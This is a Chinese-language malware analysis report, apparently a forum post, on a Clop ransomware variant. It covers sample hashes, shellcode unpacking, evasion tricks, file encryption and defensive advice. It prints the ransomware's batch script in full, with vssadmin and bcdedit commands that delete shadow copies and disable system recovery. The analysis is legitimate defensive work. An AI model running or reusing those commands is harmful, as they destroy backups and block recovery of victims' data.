首页 资讯 版块

Clop勒索病毒变种分析报告

x-encounter
2019-11-18 13:03:33

样本信息

文件: wintruste.exe

大小: 234280 bytes

修改时间: 2019514, 13:31:49

MD5: C9578422456372732A83BCC810811164

SHA1: 78C68DF8ACED7898064EA2DBDC394AD02C0BBD57

CRC32: B7CCD788

传播途径

网页挂马、下载器下载、U盘传播、共享文件传播等

母体分析


该样本在WinMain函数会填充很多无用指令,为了免杀


接着会申请一块可读可写可执行的内存空间


往内存中填充一段ShellCode并执行

下面是dump出来的ShellCode相关信息

文件: shellCode.vir

大小: 3480 bytes

修改时间: 2019514, 17:25:54

MD5: F1FDE896D0F1AE4BBF65BA090B0B5342

SHA1: EAD519468DE6DF28E7C61DD2FD94DDB86DDCCE7E

CRC32: 433B9B25


ShellCode
分析


首先获取一些必要的API函数地址


申请一块内存,然后解密出一个PE文件


然后会将自身0x400000地址的内存清零,然后将解密的PE文件全部拷贝到0x400000


然后改变当前的执行流程,开始执行OEP处代码

下面是解密出来的PE文件相关信息

文件: dump.vir

大小: 97792 bytes

文件版本:3.8.1111.7

修改时间: 2019515, 10:03:18

MD5: 0EF2ED11A6BEC841BD39EF893D7A87C6

SHA1: AAD6F9A9D9681F87791828E479988BE02D8BD188

CRC32: A06BF009


解密的PE文件分析


首先该样本会判断语言标识符,如果是上述语言国家就返回1

然后检索当前设备的字符集是否为0xCC



如果满足以上两个条件,则会调用cmd命令进行自删除,并结束进程,不对目标机器进行感染


否则,启动服务,执行核心勒索代码

核心勒索部分分析


循环666000次,反沙箱检测,没有实际作用


检测是否存在以下进程,如果不存在则执行sub_4044A0

sub_4044A0函数解密资源



执行解密出来的cmd命令


这个批处理文件的代码如下

@echo off

vssadmin Delete Shadows /all /quiet

vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB

vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded

vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB

vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded

vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB

vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded

bcdedit /set {default} bootstatuspolicy ignoreallfailures  

bcdedit /set {default} recoveryenabled No

vssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB

vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded

vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB

vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded

vssadmin Delete Shadows /all /quiet         

大致含义是删除卷影备份,调整系统还原空间,忽略系统启动时的自动修复


遍历进程,并结束指定进程


枚举网络共享调用加密函数进行加密


遍历本地磁盘,对磁盘文件进行加密

加密过程如下:

加密过程

首先过滤特定的文件,如病毒自己的文件和系统文件


如果不在过滤列表内则开启线程进行加密 下面详细分析开启加密的线程


先设置文件属性,然后通过映像的方式打开文件


接着使用微软通用加密库获取公钥存放在NumberOfBytesWritten


并导出密匙的前0x75个字节作为加密密匙,如果使用WindowsAPI的函数导出密匙失败则使用默认密匙


在获取详细密钥后,先填充Sbox,然后用密钥key打乱Sbox


然后调用函数进行加密

由于加密所用的密匙Key为根据原文件获取,且认为每个文件都是唯一的,除非有原文件,才能解密出Key,所以基本无解密文件的可能


创建文件,名字为原始文件名+.Clop,将加密的内容写入,并删除原始文件


在当前路径下从资源中寻找RC_DATA解密后生成ClopReadMe.txt勒索文档

安全建议

1.尽量关闭不必要的端口,如:445135139等,对33895900等端口可进行白名单配置,只允许白名单内的IP连接登陆

2.尽量关闭不必要的文件共享,如有需要,请使用ACL和强密码保护来限制访问权限,禁用对共享文件夹的匿名访问

3.采用高强度的密码,避免使用弱口令密码,并定期更换密码


用户评论